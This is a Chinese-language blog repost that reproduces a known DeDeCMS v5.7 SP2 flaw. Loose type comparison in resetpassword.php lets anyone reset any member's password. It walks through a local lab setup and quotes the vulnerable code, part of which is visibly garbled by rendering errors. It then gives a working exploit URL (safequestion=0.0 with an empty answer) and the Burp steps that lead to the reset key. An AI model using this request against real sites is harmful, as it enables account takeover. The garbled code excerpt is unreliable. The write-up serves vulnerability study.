DeDeCMS v5.7 SP2 正式版 前台任意用户密码修改(漏洞复现)

本文主要是介绍DeDeCMS v5.7 SP2 正式版 前台任意用户密码修改(漏洞复现),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1.环境搭建

PHP 5.6
DeDeCMSV5.7SP2 正式版
安装phpstudy,https://www.xp.cn/小皮面板
在这里插入图片描述
先启动Apache2.4.39和MySQL5.7.26
如果他会让你下载,点击是就好!
在这里插入图片描述
让后点击网站—>点击创建网站
在这里插入图片描述在这里插入图片描述
域名自己创建,自己取
其他的不变
点击”创建数据库“

在这里插入图片描述
这些设置好就行
然后重启一下Apache2.4.39
在这里插入图片描述
这里我创建好了我的
在这里插入图片描述然后打开管理
在这里插入图片描述

点击’打开根目录‘并把下载好的DeDeCMS v5.7 SP2
解压

在这里插入图片描述
解压后把里面的文件放入根目录中,这里注意:解压好后的文件里面upload里面的所有文件要拖出来放在根目录里面,最后保存就好

然后我们访问:你在本机上创建的网站的域名/install
然后按着以下教程安装就好!!!
https://blog.csdn.net/qq_38882327/article/details/89356033

当安装好后,后台账号和密码都是amdin
但是注意我们需要去后台把会员注册打开,别忘了调成“是”
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
然后放回页面,退出我们的账号,来到下面这个页面
在这里插入图片描述打开源码目录下D:\phpstudy_pro\WWW\dedecms\include,找到dedesql.class.php和dedesqli.class.php两个php文件,用notepad++打开,然后ctrl+F寻找safeCheck,把TURE改为FALSE,关闭安全检查

在这里插入图片描述

2.漏洞复现

由于前台resetpassword.php中对接受的safeanswer参数类型比较不够严格,遭受弱类型比较攻击

导致了远程攻击者可以在前台会员中心绕过验证,进行任意用户密码重置攻击

漏洞触发位置:dedecms/member/resetpassword.php(75行) else if($dopost ==
“safequestion”)

{

$mid = preg_replace(“#[^0-9]#”, “”, $id);

KaTeX parse error: Expected ‘EOF’, got ‘#’ at position 57: …rid,email
FROM #̲@__member WHERE…mid’";

$row = d b − > G e t O n e ( db->GetOne( db−>GetOne(sql);

if(empty($safequestion)) $safequestion = ‘’;

if(empty($safeanswer)) $safeanswer = ‘’;

if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer)

{

​ sn($mid, $row[‘userid’], $row[‘email’], ‘N’);

​ exit();

}

else

{

​ ShowMsg(“对不起,您的安全问题或答案回答错误”,“-1”);

​ exit();

}

}

就是这里的判断出现了问题,因为使用了不够严谨的 == 进行了比较,导致if语句的条件为真,就会进入分支,进入sn函数

if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer)

{

sn($mid, $row[‘userid’], $row[‘email’], ‘N’);

exit();

}

原文链接:https://blog.csdn.net/weixin_52497013/article/details/121468861
后台看到我们uid
在这里插入图片描述这里我们看到mid=2
fouronefour.com/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=2
用bp抓个包,放个包

在这里插入图片描述
在这里插入图片描述
把amp删掉,key=“密钥”
访问此网站,让后改掉密码即可

在这里插入图片描述

这篇关于DeDeCMS v5.7 SP2 正式版 前台任意用户密码修改(漏洞复现)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/454115

相关文章

mybatis-plus如何根据任意字段saveOrUpdateBatch

《mybatis-plus如何根据任意字段saveOrUpdateBatch》MyBatisPlussaveOrUpdateBatch默认按主键判断操作类型,若需按其他唯一字段(如agentId、pe... 目录使用场景方法源码方法改造首先在service层定义接口service层接口实现总结使用场景my

MySQL8 密码强度评估与配置详解

《MySQL8密码强度评估与配置详解》MySQL8默认启用密码强度插件,实施MEDIUM策略(长度8、含数字/字母/特殊字符),支持动态调整与配置文件设置,推荐使用STRONG策略并定期更新密码以提... 目录一、mysql 8 密码强度评估机制1.核心插件:validate_password2.密码策略级

修复已被利用的高危漏洞! macOS Sequoia 15.6.1发布

《修复已被利用的高危漏洞!macOSSequoia15.6.1发布》苹果公司于今日发布了macOSSequoia15.6.1更新,这是去年9月推出的macOSSequoia操作... MACOS Sequoia 15.6.1 正式发布!此次更新修复了一个已被黑客利用的严重安全漏洞,并解决了部分中文用户反馈的

MySQL设置密码复杂度策略的完整步骤(附代码示例)

《MySQL设置密码复杂度策略的完整步骤(附代码示例)》MySQL密码策略还可能包括密码复杂度的检查,如是否要求密码包含大写字母、小写字母、数字和特殊字符等,:本文主要介绍MySQL设置密码复杂度... 目录前言1. 使用 validate_password 插件1.1 启用 validate_passwo

最新Spring Security的基于内存用户认证方式

《最新SpringSecurity的基于内存用户认证方式》本文讲解SpringSecurity内存认证配置,适用于开发、测试等场景,通过代码创建用户及权限管理,支持密码加密,虽简单但不持久化,生产环... 目录1. 前言2. 因何选择内存认证?3. 基础配置实战❶ 创建Spring Security配置文件

Spring Security中用户名和密码的验证完整流程

《SpringSecurity中用户名和密码的验证完整流程》本文给大家介绍SpringSecurity中用户名和密码的验证完整流程,本文结合实例代码给大家介绍的非常详细,对大家的学习或工作具有一定... 首先创建了一个UsernamePasswordAuthenticationTChina编程oken对象,这是S

SpringSecurity显示用户账号已被锁定的原因及解决方案

《SpringSecurity显示用户账号已被锁定的原因及解决方案》SpringSecurity中用户账号被锁定问题源于UserDetails接口方法返回值错误,解决方案是修正isAccountNon... 目录SpringSecurity显示用户账号已被锁定的解决方案1.问题出现前的工作2.问题出现原因各

PostgreSQL数据库密码被遗忘时的操作步骤

《PostgreSQL数据库密码被遗忘时的操作步骤》密码遗忘是常见的用户问题,因此提供一种安全的遗忘密码找回机制是十分必要的,:本文主要介绍PostgreSQL数据库密码被遗忘时的操作步骤的相关资... 目录前言一、背景知识二、Windows环境下的解决步骤1. 找到PostgreSQL安装目录2. 修改p

MySQL 用户创建与授权最佳实践

《MySQL用户创建与授权最佳实践》在MySQL中,用户管理和权限控制是数据库安全的重要组成部分,下面详细介绍如何在MySQL中创建用户并授予适当的权限,感兴趣的朋友跟随小编一起看看吧... 目录mysql 用户创建与授权详解一、MySQL用户管理基础1. 用户账户组成2. 查看现有用户二、创建用户1. 基

SQL Server修改数据库名及物理数据文件名操作步骤

《SQLServer修改数据库名及物理数据文件名操作步骤》在SQLServer中重命名数据库是一个常见的操作,但需要确保用户具有足够的权限来执行此操作,:本文主要介绍SQLServer修改数据... 目录一、背景介绍二、操作步骤2.1 设置为单用户模式(断开连接)2.2 修改数据库名称2.3 查找逻辑文件名